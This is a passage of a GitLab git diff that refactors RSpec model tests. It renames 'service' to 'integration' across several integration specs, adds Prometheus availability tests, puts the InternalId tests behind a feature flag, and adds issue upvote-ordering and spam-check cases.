+ describe '#prometheus_available?' do
+ context 'clusters with enabled prometheus' do
+ before do
+ create(:clusters_integrations_prometheus, cluster: cluster)
+ end
+
+ context 'cluster belongs to project' do
+ let(:cluster) { create(:cluster, projects: [project]) }
+
+ it 'returns true' do
+ expect(integration.prometheus_available?).to be(true)
+ end
+ end
+
+ context 'cluster belongs to projects group' do
+ let_it_be(:group) { create(:group) }
+
+ let(:project) { create(:prometheus_project, group: group) }
+ let(:cluster) { create(:cluster_for_group, groups: [group]) }
+
+ it 'returns true' do
+ expect(integration.prometheus_available?).to be(true)
+ end
+
+ it 'avoids N+1 queries' do
+ integration
+ 5.times do |i|
+ other_cluster = create(:cluster_for_group, groups: [group], environment_scope: i)
+ create(:clusters_integrations_prometheus, cluster: other_cluster)
+ end
+ expect { integration.prometheus_available? }.not_to exceed_query_limit(1)
+ end
+ end
+
+ context 'cluster belongs to gitlab instance' do
+ let(:cluster) { create(:cluster, :instance) }
+
+ it 'returns true' do
+ expect(integration.prometheus_available?).to be(true)
+ end
+ end
+ end
+
+ context 'clusters with prometheus disabled' do
+ let(:cluster) { create(:cluster, projects: [project]) }
+ let!(:prometheus) { create(:clusters_integrations_prometheus, :disabled, cluster: cluster) }
+
+ it 'returns false' do
+ expect(integration.prometheus_available?).to be(false)
+ end
+ end
+
+ context 'clusters without prometheus' do
+ let(:cluster) { create(:cluster, projects: [project]) }
+
+ it 'returns false' do
+ expect(integration.prometheus_available?).to be(false)
+ end
+ end
+
+ context 'no clusters' do
+ it 'returns false' do
+ expect(integration.prometheus_available?).to be(false)
+ end
+ end
+ end
+
+ describe '#synchronize_service_state before_save callback' do
+ context 'no clusters with prometheus are installed' do
+ context 'when integration is inactive' do
+ before do
+ integration.active = false
+ end
+
+ it 'activates integration when manual_configuration is enabled' do
+ expect { integration.update!(manual_configuration: true) }.to change { integration.active }.from(false).to(true)
+ end
+
+ it 'keeps integration inactive when manual_configuration is disabled' do
+ expect { integration.update!(manual_configuration: false) }.not_to change { integration.active }.from(false)
+ end
+ end
+
+ context 'when integration is active' do
+ before do
+ integration.active = true
+ end
+
+ it 'keeps the integration active when manual_configuration is enabled' do
+ expect { integration.update!(manual_configuration: true) }.not_to change { integration.active }.from(true)
+ end
+
+ it 'inactivates the integration when manual_configuration is disabled' do
+ expect { integration.update!(manual_configuration: false) }.to change { integration.active }.from(true).to(false)
+ end
+ end
+ end
+
+ context 'with prometheus installed in the cluster' do
+ before do
+ allow(integration).to receive(:prometheus_available?).and_return(true)
+ end
+
+ context 'when integration is inactive' do
+ before do
+ integration.active = false
+ end
+
+ it 'activates integration when manual_configuration is enabled' do
+ expect { integration.update!(manual_configuration: true) }.to change { integration.active }.from(false).to(true)
+ end
+
+ it 'activates integration when manual_configuration is disabled' do
+ expect { integration.update!(manual_configuration: false) }.to change { integration.active }.from(false).to(true)
+ end
+ end
+
+ context 'when integration is active' do
+ before do
+ integration.active = true
+ end
+
+ it 'keeps integration active when manual_configuration is enabled' do
+ expect { integration.update!(manual_configuration: true) }.not_to change { integration.active }.from(true)
+ end
+
+ it 'keeps integration active when manual_configuration is disabled' do
+ expect { integration.update!(manual_configuration: false) }.not_to change { integration.active }.from(true)
+ end
+ end
+ end
+ end
+
+ describe '#track_events after_commit callback' do
+ before do
+ allow(integration).to receive(:prometheus_available?).and_return(true)
+ end
+
+ context "enabling manual_configuration" do
+ it "tracks enable event" do
+ integration.update!(manual_configuration: false)
+ integration.update!(manual_configuration: true)
+
+ expect_snowplow_event(category: 'cluster:services:prometheus', action: 'enabled_manual_prometheus')
+ end
+
+ it "tracks disable event" do
+ integration.update!(manual_configuration: true)
+ integration.update!(manual_configuration: false)
+
+ expect_snowplow_event(category: 'cluster:services:prometheus', action: 'disabled_manual_prometheus')
+ end
+ end
+ end
+
+ describe '#editable?' do
+ it 'is editable' do
+ expect(integration.editable?).to be(true)
+ end
+
+ context 'when cluster exists with prometheus enabled' do
+ let(:cluster) { create(:cluster, projects: [project]) }
+
+ before do
+ integration.update!(manual_configuration: false)
+
+ create(:clusters_integrations_prometheus, cluster: cluster)
+ end
+
+ it 'remains editable' do
+ expect(integration.editable?).to be(true)
+ end
+ end
+ end
+
+ describe '#fields' do
+ let(:expected_fields) do
+ [
+ {
+ type: 'checkbox',
+ name: 'manual_configuration',
+ title: s_('PrometheusService|Active'),
+ help: s_('PrometheusService|Select this checkbox to override the auto configuration settings with your own settings.'),
+ required: true
+ },
+ {
+ type: 'text',
+ name: 'api_url',
+ title: 'API URL',
+ placeholder: s_('PrometheusService|https://prometheus.example.com/'),
+ help: s_('PrometheusService|The Prometheus API base URL.'),
+ required: true
+ },
+ {
+ type: 'text',
+ name: 'google_iap_audience_client_id',
+ title: 'Google IAP Audience Client ID',
+ placeholder: s_('PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com'),
+ help: s_('PrometheusService|PrometheusService|The ID of the IAP-secured resource.'),
+ autocomplete: 'off',
+ required: false
+ },
+ {
+ type: 'textarea',
+ name: 'google_iap_service_account_json',
+ title: 'Google IAP Service Account JSON',
+ placeholder: s_('PrometheusService|{ "type": "service_account", "project_id": ... }'),
+ help: s_('PrometheusService|The contents of the credentials.json file of your service account.'),
+ required: false
+ }
+ ]
+ end
+
+ it 'returns fields' do
+ expect(integration.fields).to eq(expected_fields)
+ end
+ end
+end
diff --git a/spec/models/integrations/pushover_spec.rb b/spec/models/integrations/pushover_spec.rb
index be8dc5634a0..716a00c5bcf 100644
--- a/spec/models/integrations/pushover_spec.rb
+++ b/spec/models/integrations/pushover_spec.rb
@@ -5,13 +5,8 @@ require 'spec_helper'
RSpec.describe Integrations::Pushover do
include StubRequests
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe 'Validations' do
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
@@ -21,7 +16,7 @@ RSpec.describe Integrations::Pushover do
it { is_expected.to validate_presence_of(:priority) }
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
@@ -51,7 +46,6 @@ RSpec.describe Integrations::Pushover do
allow(pushover).to receive_messages(
project: project,
project_id: project.id,
- service_hook: true,
api_key: api_key,
user_key: user_key,
device: device,
diff --git a/spec/models/integrations/redmine_spec.rb b/spec/models/integrations/redmine_spec.rb
index 083585d4fed..59997d2b6f6 100644
--- a/spec/models/integrations/redmine_spec.rb
+++ b/spec/models/integrations/redmine_spec.rb
@@ -3,11 +3,6 @@
require 'spec_helper'
RSpec.describe Integrations::Redmine do
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe 'Validations' do
# if redmine is set in setting the urls are set to defaults
# therefore the validation passes as the values are not nil
@@ -18,7 +13,7 @@ RSpec.describe Integrations::Redmine do
allow(Gitlab.config).to receive(:issues_tracker).and_return(settings)
end
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
@@ -27,12 +22,12 @@ RSpec.describe Integrations::Redmine do
it { is_expected.to validate_presence_of(:issues_url) }
it { is_expected.to validate_presence_of(:new_issue_url) }
- it_behaves_like 'issue tracker service URL attribute', :project_url
- it_behaves_like 'issue tracker service URL attribute', :issues_url
- it_behaves_like 'issue tracker service URL attribute', :new_issue_url
+ it_behaves_like 'issue tracker integration URL attribute', :project_url
+ it_behaves_like 'issue tracker integration URL attribute', :issues_url
+ it_behaves_like 'issue tracker integration URL attribute', :new_issue_url
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
diff --git a/spec/models/integrations/slack_slash_commands_spec.rb b/spec/models/integrations/slack_slash_commands_spec.rb
index a9d3c820a3c..ff89d2c6a40 100644
--- a/spec/models/integrations/slack_slash_commands_spec.rb
+++ b/spec/models/integrations/slack_slash_commands_spec.rb
@@ -18,8 +18,8 @@ RSpec.describe Integrations::SlackSlashCommands do
}
end
- let(:service) do
- project.create_slack_slash_commands_service(
+ let(:integration) do
+ project.create_slack_slash_commands_integration(
properties: { token: 'token' },
active: true
)
@@ -30,11 +30,11 @@ RSpec.describe Integrations::SlackSlashCommands do
end
before do
- allow(service).to receive(:authorize_chat_name_url).and_return(authorize_url)
+ allow(integration).to receive(:authorize_chat_name_url).and_return(authorize_url)
end
it 'uses slack compatible links' do
- response = service.trigger(params)
+ response = integration.trigger(params)
expect(response[:text]).to include("<#{authorize_url}|connect your GitLab account>")
end
diff --git a/spec/models/integrations/slack_spec.rb b/spec/models/integrations/slack_spec.rb
index e598c528967..4661d9c8291 100644
--- a/spec/models/integrations/slack_spec.rb
+++ b/spec/models/integrations/slack_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe Integrations::Slack do
stub_request(:post, "https://slack.service.url/")
end
- let_it_be(:slack_service) { create(:slack_service, branches_to_be_notified: 'all') }
+ let_it_be(:slack_integration) { create(:integrations_slack, branches_to_be_notified: 'all') }
it 'uses only known events', :aggregate_failures do
described_class::SUPPORTED_EVENTS_FOR_USAGE_LOG.each do |action|
@@ -26,7 +26,7 @@ RSpec.describe Integrations::Slack do
it 'increases the usage data counter' do
expect(Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:track_event).with(event_name, values: user.id).and_call_original
- slack_service.execute(data)
+ slack_integration.execute(data)
end
end
@@ -38,7 +38,7 @@ RSpec.describe Integrations::Slack do
it 'does not increase the usage data counter' do
expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event).with('i_ecosystem_slack_service_pipeline_notification', values: user.id)
- slack_service.execute(data)
+ slack_integration.execute(data)
end
end
@@ -126,7 +126,7 @@ RSpec.describe Integrations::Slack do
it 'does not increase the usage data counter' do
expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
- slack_service.execute(data)
+ slack_integration.execute(data)
end
end
end
diff --git a/spec/models/integrations/teamcity_spec.rb b/spec/models/integrations/teamcity_spec.rb
index b88a4722ad4..d425357aef0 100644
--- a/spec/models/integrations/teamcity_spec.rb
+++ b/spec/models/integrations/teamcity_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe Integrations::Teamcity, :use_clean_rails_memory_store_caching do
let(:teamcity_full_url) { 'http://gitlab.com/teamcity/httpAuth/app/rest/builds/branch:unspecified:any,revision:123' }
let(:project) { create(:project) }
- subject(:service) do
+ subject(:integration) do
described_class.create!(
project: project,
properties: {
@@ -22,20 +22,15 @@ RSpec.describe Integrations::Teamcity, :use_clean_rails_memory_store_caching do
)
end
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe 'Validations' do
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
it { is_expected.to validate_presence_of(:build_type) }
it { is_expected.to validate_presence_of(:teamcity_url) }
- it_behaves_like 'issue tracker service URL attribute', :teamcity_url
+ it_behaves_like 'issue tracker integration URL attribute', :teamcity_url
describe '#username' do
it 'does not validate the presence of username if password is nil' do
@@ -66,7 +61,7 @@ RSpec.describe Integrations::Teamcity, :use_clean_rails_memory_store_caching do
end
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
@@ -79,71 +74,66 @@ RSpec.describe Integrations::Teamcity, :use_clean_rails_memory_store_caching do
end
describe 'Callbacks' do
+ let(:teamcity_integration) { integration }
+
describe 'before_update :reset_password' do
context 'when a password was previously set' do
it 'resets password if url changed' do
- teamcity_service = service
+ teamcity_integration.teamcity_url = 'http://gitlab1.com'
+ teamcity_integration.save!
- teamcity_service.teamcity_url = 'http://gitlab1.com'
- teamcity_service.save!
-
- expect(teamcity_service.password).to be_nil
+ expect(teamcity_integration.password).to be_nil
end
it 'does not reset password if username changed' do
- teamcity_service = service
-
- teamcity_service.username = 'some_name'
- teamcity_service.save!
+ teamcity_integration.username = 'some_name'
+ teamcity_integration.save!
- expect(teamcity_service.password).to eq('password')
+ expect(teamcity_integration.password).to eq('password')
end
it "does not reset password if new url is set together with password, even if it's the same password" do
- teamcity_service = service
-
- teamcity_service.teamcity_url = 'http://gitlab_edited.com'
- teamcity_service.password = 'password'
- teamcity_service.save!
+ teamcity_integration.teamcity_url = 'http://gitlab_edited.com'
+ teamcity_integration.password = 'password'
+ teamcity_integration.save!
- expect(teamcity_service.password).to eq('password')
- expect(teamcity_service.teamcity_url).to eq('http://gitlab_edited.com')
+ expect(teamcity_integration.password).to eq('password')
+ expect(teamcity_integration.teamcity_url).to eq('http://gitlab_edited.com')
end
end
it 'saves password if new url is set together with password when no password was previously set' do
- teamcity_service = service
- teamcity_service.password = nil
+ teamcity_integration.password = nil
- teamcity_service.teamcity_url = 'http://gitlab_edited.com'
- teamcity_service.password = 'password'
- teamcity_service.save!
+ teamcity_integration.teamcity_url = 'http://gitlab_edited.com'
+ teamcity_integration.password = 'password'
+ teamcity_integration.save!
- expect(teamcity_service.password).to eq('password')
- expect(teamcity_service.teamcity_url).to eq('http://gitlab_edited.com')
+ expect(teamcity_integration.password).to eq('password')
+ expect(teamcity_integration.teamcity_url).to eq('http://gitlab_edited.com')
end
end
end
describe '#build_page' do
it 'returns the contents of the reactive cache' do
- stub_reactive_cache(service, { build_page: 'foo' }, 'sha', 'ref')
+ stub_reactive_cache(integration, { build_page: 'foo' }, 'sha', 'ref')
- expect(service.build_page('sha', 'ref')).to eq('foo')
+ expect(integration.build_page('sha', 'ref')).to eq('foo')
end
end
describe '#commit_status' do
it 'returns the contents of the reactive cache' do
- stub_reactive_cache(service, { commit_status: 'foo' }, 'sha', 'ref')
+ stub_reactive_cache(integration, { commit_status: 'foo' }, 'sha', 'ref')
- expect(service.commit_status('sha', 'ref')).to eq('foo')
+ expect(integration.commit_status('sha', 'ref')).to eq('foo')
end
end
describe '#calculate_reactive_cache' do
context 'build_page' do
- subject { service.calculate_reactive_cache('123', 'unused')[:build_page] }
+ subject { integration.calculate_reactive_cache('123', 'unused')[:build_page] }
it 'returns a specific URL when status is 500' do
stub_request(status: 500)
@@ -179,7 +169,7 @@ RSpec.describe Integrations::Teamcity, :use_clean_rails_memory_store_caching do
end
context 'commit_status' do
- subject { service.calculate_reactive_cache('123', 'unused')[:commit_status] }
+ subject { integration.calculate_reactive_cache('123', 'unused')[:commit_status] }
it 'sets commit status to :error when status is 500' do
stub_request(status: 500)
@@ -243,25 +233,25 @@ RSpec.describe Integrations::Teamcity, :use_clean_rails_memory_store_caching do
it 'handles push request correctly' do
stub_post_to_build_queue(branch: 'dev-123_branch')
- expect(service.execute(data)).to include('Ok')
+ expect(integration.execute(data)).to include('Ok')
end
it 'returns nil when ref is blank' do
data[:after] = Gitlab::Git::BLANK_SHA
- expect(service.execute(data)).to be_nil
+ expect(integration.execute(data)).to be_nil
end
it 'returns nil when there is no content' do
data[:total_commits_count] = 0
- expect(service.execute(data)).to be_nil
+ expect(integration.execute(data)).to be_nil
end
it 'returns nil when a merge request is opened for the same ref' do
create(:merge_request, source_project: project, source_branch: 'dev-123_branch')
- expect(service.execute(data)).to be_nil
+ expect(integration.execute(data)).to be_nil
end
end
@@ -283,26 +273,26 @@ RSpec.describe Integrations::Teamcity, :use_clean_rails_memory_store_caching do
it 'handles merge request correctly' do
stub_post_to_build_queue(branch: 'dev-123_branch')
- expect(service.execute(data)).to include('Ok')
+ expect(integration.execute(data)).to include('Ok')
end
it 'returns nil when merge request is not opened' do
data[:object_attributes][:state] = 'closed'
- expect(service.execute(data)).to be_nil
+ expect(integration.execute(data)).to be_nil
end
it 'returns nil unless merge request is marked as unchecked' do
data[:object_attributes][:merge_status] = 'can_be_merged'
- expect(service.execute(data)).to be_nil
+ expect(integration.execute(data)).to be_nil
end
end
it 'returns nil when event is not supported' do
data = { object_kind: 'foo' }
- expect(service.execute(data)).to be_nil
+ expect(integration.execute(data)).to be_nil
end
end
diff --git a/spec/models/integrations/youtrack_spec.rb b/spec/models/integrations/youtrack_spec.rb
index 314204f6fb4..f6a9dd8ef37 100644
--- a/spec/models/integrations/youtrack_spec.rb
+++ b/spec/models/integrations/youtrack_spec.rb
@@ -3,13 +3,8 @@
require 'spec_helper'
RSpec.describe Integrations::Youtrack do
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe 'Validations' do
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
@@ -17,11 +12,11 @@ RSpec.describe Integrations::Youtrack do
it { is_expected.to validate_presence_of(:project_url) }
it { is_expected.to validate_presence_of(:issues_url) }
- it_behaves_like 'issue tracker service URL attribute', :project_url
- it_behaves_like 'issue tracker service URL attribute', :issues_url
+ it_behaves_like 'issue tracker integration URL attribute', :project_url
+ it_behaves_like 'issue tracker integration URL attribute', :issues_url
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
diff --git a/spec/models/internal_id_spec.rb b/spec/models/internal_id_spec.rb
index 390d1552c16..696b5b48cbf 100644
--- a/spec/models/internal_id_spec.rb
+++ b/spec/models/internal_id_spec.rb
@@ -39,216 +39,217 @@ RSpec.describe InternalId do
end
end
- describe '.generate_next' do
- subject { described_class.generate_next(id_subject, scope, usage, init) }
+ shared_examples_for 'a monotonically increasing id generator' do
+ describe '.generate_next' do
+ subject { described_class.generate_next(id_subject, scope, usage, init) }
- context 'in the absence of a record' do
- it 'creates a record if not yet present' do
- expect { subject }.to change { described_class.count }.from(0).to(1)
- end
+ context 'in the absence of a record' do
+ it 'creates a record if not yet present' do
+ expect { subject }.to change { described_class.count }.from(0).to(1)
+ end
- it 'stores record attributes' do
- subject
+ it 'stores record attributes' do
+ subject
- described_class.first.tap do |record|
- expect(record.project).to eq(project)
- expect(record.usage).to eq(usage.to_s)
+ described_class.first.tap do |record|
+ expect(record.project).to eq(project)
+ expect(record.usage).to eq(usage.to_s)
+ end
end
- end
- context 'with existing issues' do
- before do
- create_list(:issue, 2, project: project)
- described_class.delete_all
- end
+ context 'with existing issues' do
+ before do
+ create_list(:issue, 2, project: project)
+ described_class.delete_all
+ end
- it 'calculates last_value values automatically' do
- expect(subject).to eq(project.issues.size + 1)
+ it 'calculates last_value values automatically' do
+ expect(subject).to eq(project.issues.size + 1)
+ end
end
end
- context 'with concurrent inserts on table' do
- it 'looks up the record if it was created concurrently' do
- args = { **scope, usage: described_class.usages[usage.to_s] }
- record = double
- expect(described_class).to receive(:find_by).with(args).and_return(nil) # first call, record not present
- expect(described_class).to receive(:find_by).with(args).and_return(record) # second call, record was created by another process
- expect(described_class).to receive(:create!).and_raise(ActiveRecord::RecordNotUnique, 'record not unique')
- expect(record).to receive(:increment_and_save!)
-
- subject
+ it 'generates a strictly monotone, gapless sequence' do
+ seq = Array.new(10).map do
+ described_class.generate_next(issue, scope, usage, init)
end
- end
- end
+ normalized = seq.map { |i| i - seq.min }
- it 'generates a strictly monotone, gapless sequence' do
- seq = Array.new(10).map do
- described_class.generate_next(issue, scope, usage, init)
+ expect(normalized).to eq((0..seq.size - 1).to_a)
end
- normalized = seq.map { |i| i - seq.min }
-
- expect(normalized).to eq((0..seq.size - 1).to_a)
- end
- context 'there are no instances to pass in' do
- let(:id_subject) { Issue }
+ context 'there are no instances to pass in' do
+ let(:id_subject) { Issue }
- it 'accepts classes instead' do
- expect(subject).to eq(1)
+ it 'accepts classes instead' do
+ expect(subject).to eq(1)
+ end
end
- end
- context 'when executed outside of transaction' do
- it 'increments counter with in_transaction: "false"' do
- allow(ActiveRecord::Base.connection).to receive(:transaction_open?) { false }
+ context 'when executed outside of transaction' do
+ it 'increments counter with in_transaction: "false"' do
+ allow(ActiveRecord::Base.connection).to receive(:transaction_open?) { false }
- expect(InternalId::InternalIdGenerator.internal_id_transactions_total).to receive(:increment)
- .with(operation: :generate, usage: 'issues', in_transaction: 'false').and_call_original
+ expect(InternalId.internal_id_transactions_total).to receive(:increment)
+ .with(operation: :generate, usage: 'issues', in_transaction: 'false').and_call_original
- subject
+ subject
+ end
end
- end
- context 'when executed within transaction' do
- it 'increments counter with in_transaction: "true"' do
- expect(InternalId::InternalIdGenerator.internal_id_transactions_total).to receive(:increment)
- .with(operation: :generate, usage: 'issues', in_transaction: 'true').and_call_original
+ context 'when executed within transaction' do
+ it 'increments counter with in_transaction: "true"' do
+ expect(InternalId.internal_id_transactions_total).to receive(:increment)
+ .with(operation: :generate, usage: 'issues', in_transaction: 'true').and_call_original
- InternalId.transaction { subject }
+ InternalId.transaction { subject }
+ end
end
end
- end
- describe '.reset' do
- subject { described_class.reset(issue, scope, usage, value) }
+ describe '.reset' do
+ subject { described_class.reset(issue, scope, usage, value) }
- context 'in the absence of a record' do
- let(:value) { 2 }
+ context 'in the absence of a record' do
+ let(:value) { 2 }
- it 'does not revert back the value' do
- expect { subject }.not_to change { described_class.count }
- expect(subject).to be_falsey
+ it 'does not revert back the value' do
+ expect { subject }.not_to change { described_class.count }
+ expect(subject).to be_falsey
+ end
end
- end
- context 'when valid iid is used to reset' do
- let!(:value) { generate_next }
+ context 'when valid iid is used to reset' do
+ let!(:value) { generate_next }
- context 'and iid is a latest one' do
- it 'does rewind and next generated value is the same' do
- expect(subject).to be_truthy
- expect(generate_next).to eq(value)
+ context 'and iid is a latest one' do
+ it 'does rewind and next generated value is the same' do
+ expect(subject).to be_truthy
+ expect(generate_next).to eq(value)
+ end
end
- end
- context 'and iid is not a latest one' do
- it 'does not rewind' do
- generate_next
+ context 'and iid is not a latest one' do
+ it 'does not rewind' do
+ generate_next
- expect(subject).to be_falsey
- expect(generate_next).to be > value
+ expect(subject).to be_falsey
+ expect(generate_next).to be > value
+ end
end
- end
- def generate_next
- described_class.generate_next(issue, scope, usage, init)
+ def generate_next
+ described_class.generate_next(issue, scope, usage, init)
+ end
end
- end
- context 'when executed outside of transaction' do
- let(:value) { 2 }
+ context 'when executed outside of transaction' do
+ let(:value) { 2 }
- it 'increments counter with in_transaction: "false"' do
- allow(ActiveRecord::Base.connection).to receive(:transaction_open?) { false }
+ it 'increments counter with in_transaction: "false"' do
+ allow(ActiveRecord::Base.connection).to receive(:transaction_open?) { false }
- expect(InternalId::InternalIdGenerator.internal_id_transactions_total).to receive(:increment)
- .with(operation: :reset, usage: 'issues', in_transaction: 'false').and_call_original
+ expect(InternalId.internal_id_transactions_total).to receive(:increment)
+ .with(operation: :reset, usage: 'issues', in_transaction: 'false').and_call_original
- subject
+ subject
+ end
end
- end
- context 'when executed within transaction' do
- let(:value) { 2 }
+ context 'when executed within transaction' do
+ let(:value) { 2 }
- it 'increments counter with in_transaction: "true"' do
- expect(InternalId::InternalIdGenerator.internal_id_transactions_total).to receive(:increment)
- .with(operation: :reset, usage: 'issues', in_transaction: 'true').and_call_original
+ it 'increments counter with in_transaction: "true"' do
+ expect(InternalId.internal_id_transactions_total).to receive(:increment)
+ .with(operation: :reset, usage: 'issues', in_transaction: 'true').and_call_original
- InternalId.transaction { subject }
+ InternalId.transaction { subject }
+ end
end
end
- end
- describe '.track_greatest' do
- let(:value) { 9001 }
+ describe '.track_greatest' do
+ let(:value) { 9001 }
- subject { described_class.track_greatest(id_subject, scope, usage, value, init) }
+ subject { described_class.track_greatest(id_subject, scope, usage, value, init) }
- context 'in the absence of a record' do
- it 'creates a record if not yet present' do
- expect { subject }.to change { described_class.count }.from(0).to(1)
+ context 'in the absence of a record' do
+ it 'creates a record if not yet present' do
+ expect { subject }.to change { described_class.count }.from(0).to(1)
+ end
end
- end
- it 'stores record attributes' do
- subject
+ it 'stores record attributes' do
+ subject
- described_class.first.tap do |record|
- expect(record.project).to eq(project)
- expect(record.usage).to eq(usage.to_s)
- expect(record.last_value).to eq(value)
+ described_class.first.tap do |record|
+ expect(record.project).to eq(project)
+ expect(record.usage).to eq(usage.to_s)
+ expect(record.last_value).to eq(value)
+ end
end
- end
- context 'with existing issues' do
- before do
- create(:issue, project: project)
- described_class.delete_all
- end
+ context 'with existing issues' do
+ before do
+ create(:issue, project: project)
+ described_class.delete_all
+ end
- it 'still returns the last value to that of the given value' do
- expect(subject).to eq(value)
+ it 'still returns the last value to that of the given value' do
+ expect(subject).to eq(value)
+ end
end
- end
- context 'when value is less than the current last_value' do
- it 'returns the current last_value' do
- described_class.create!(**scope, usage: usage, last_value: 10_001)
+ context 'when value is less than the current last_value' do
+ it 'returns the current last_value' do
+ described_class.create!(**scope, usage: usage, last_value: 10_001)
- expect(subject).to eq 10_001
+ expect(subject).to eq 10_001
+ end
end
- end
- context 'there are no instances to pass in' do
- let(:id_subject) { Issue }
+ context 'there are no instances to pass in' do
+ let(:id_subject) { Issue }
- it 'accepts classes instead' do
- expect(subject).to eq(value)
+ it 'accepts classes instead' do
+ expect(subject).to eq(value)
+ end
end
- end
- context 'when executed outside of transaction' do
- it 'increments counter with in_transaction: "false"' do
- allow(ActiveRecord::Base.connection).to receive(:transaction_open?) { false }
+ context 'when executed outside of transaction' do
+ it 'increments counter with in_transaction: "false"' do
+ allow(ActiveRecord::Base.connection).to receive(:transaction_open?) { false }
- expect(InternalId::InternalIdGenerator.internal_id_transactions_total).to receive(:increment)
- .with(operation: :track_greatest, usage: 'issues', in_transaction: 'false').and_call_original
+ expect(InternalId.internal_id_transactions_total).to receive(:increment)
+ .with(operation: :track_greatest, usage: 'issues', in_transaction: 'false').and_call_original
- subject
+ subject
+ end
end
- end
- context 'when executed within transaction' do
- it 'increments counter with in_transaction: "true"' do
- expect(InternalId::InternalIdGenerator.internal_id_transactions_total).to receive(:increment)
- .with(operation: :track_greatest, usage: 'issues', in_transaction: 'true').and_call_original
+ context 'when executed within transaction' do
+ it 'increments counter with in_transaction: "true"' do
+ expect(InternalId.internal_id_transactions_total).to receive(:increment)
+ .with(operation: :track_greatest, usage: 'issues', in_transaction: 'true').and_call_original
- InternalId.transaction { subject }
+ InternalId.transaction { subject }
+ end
end
end
end
+ context 'when the feature flag is disabled' do
+ stub_feature_flags(generate_iids_without_explicit_locking: false)
+
+ it_behaves_like 'a monotonically increasing id generator'
+ end
+
+ context 'when the feature flag is enabled' do
+ stub_feature_flags(generate_iids_without_explicit_locking: true)
+
+ it_behaves_like 'a monotonically increasing id generator'
+ end
+
describe '#increment_and_save!' do
let(:id) { create(:internal_id) }
diff --git a/spec/models/issue_spec.rb b/spec/models/issue_spec.rb
index edb93ecf4b6..441446bae60 100644
--- a/spec/models/issue_spec.rb
+++ b/spec/models/issue_spec.rb
@@ -128,6 +128,24 @@ RSpec.describe Issue do
end
end
+ context 'order by upvotes' do
+ let!(:issue) { create(:issue) }
+ let!(:issue2) { create(:issue) }
+ let!(:award_emoji) { create(:award_emoji, :upvote, awardable: issue2) }
+
+ describe '.order_upvotes_desc' do
+ it 'orders on upvotes' do
+ expect(described_class.order_upvotes_desc.to_a).to eq [issue2, issue]
+ end
+ end
+
+ describe '.order_upvotes_asc' do
+ it 'orders on upvotes' do
+ expect(described_class.order_upvotes_asc.to_a).to eq [issue, issue2]
+ end
+ end
+ end
+
describe '.with_alert_management_alerts' do
subject { described_class.with_alert_management_alerts }
@@ -1051,23 +1069,53 @@ RSpec.describe Issue do
describe '#check_for_spam?' do
using RSpec::Parameterized::TableSyntax
-
- where(:visibility_level, :confidential, :new_attributes, :check_for_spam?) do
- Gitlab::VisibilityLevel::PUBLIC | false | { description: 'woo' } | true
- Gitlab::VisibilityLevel::PUBLIC | false | { title: 'woo' } | true
- Gitlab::VisibilityLevel::PUBLIC | true | { confidential: false } | true
- Gitlab::VisibilityLevel::PUBLIC | true | { description: 'woo' } | false
- Gitlab::VisibilityLevel::PUBLIC | false | { title: 'woo', confidential: true } | false
- Gitlab::VisibilityLevel::PUBLIC | false | { description: 'original description' } | false
- Gitlab::VisibilityLevel::INTERNAL | false | { description: 'woo' } | false
- Gitlab::VisibilityLevel::PRIVATE | false | { description: 'woo' } | false
+ let_it_be(:support_bot) { ::User.support_bot }
+
+ where(:support_bot?, :visibility_level, :confidential, :new_attributes, :check_for_spam?) do
+ ### non-support-bot cases
+ # spammable attributes changing
+ false | Gitlab::VisibilityLevel::PUBLIC | false | { description: 'new' } | true
+ false | Gitlab::VisibilityLevel::PUBLIC | false | { title: 'new' } | true
+ # confidential to non-confidential
+ false | Gitlab::VisibilityLevel::PUBLIC | true | { confidential: false } | true
+ # non-confidential to confidential
+ false | Gitlab::VisibilityLevel::PUBLIC | false | { confidential: true } | false
+ # spammable attributes changing on confidential
+ false | Gitlab::VisibilityLevel::PUBLIC | true | { description: 'new' } | false
+ # spammable attributes changing while changing to confidential
+ false | Gitlab::VisibilityLevel::PUBLIC | false | { title: 'new', confidential: true } | false
+ # spammable attribute not changing
+ false | Gitlab::VisibilityLevel::PUBLIC | false | { description: 'original description' } | false
+ # non-spammable attribute changing
+ false | Gitlab::VisibilityLevel::PUBLIC | false | { weight: 3 } | false
+ # spammable attributes changing on non-public
+ false | Gitlab::VisibilityLevel::INTERNAL | false | { description: 'new' } | false
+ false | Gitlab::VisibilityLevel::PRIVATE | false | { description: 'new' } | false
+
+ ### support-bot cases
+ # confidential to non-confidential
+ true | Gitlab::VisibilityLevel::PUBLIC | true | { confidential: false } | true
+ # non-confidential to confidential
+ true | Gitlab::VisibilityLevel::PUBLIC | false | { confidential: true } | false
+ # spammable attributes changing on confidential
+ true | Gitlab::VisibilityLevel::PUBLIC | true | { description: 'new' } | true
+ # spammable attributes changing while changing to confidential
+ true | Gitlab::VisibilityLevel::PUBLIC | false | { title: 'new', confidential: true } | true
+ # spammable attributes changing on non-public
+ true | Gitlab::VisibilityLevel::INTERNAL | false | { description: 'new' } | true
+ true | Gitlab::VisibilityLevel::PRIVATE | false | { title: 'new' } | true
+ # spammable attribute not changing
+ true | Gitlab::VisibilityLevel::PUBLIC | false | { description: 'original description' } | false
+ # non-spammable attribute changing
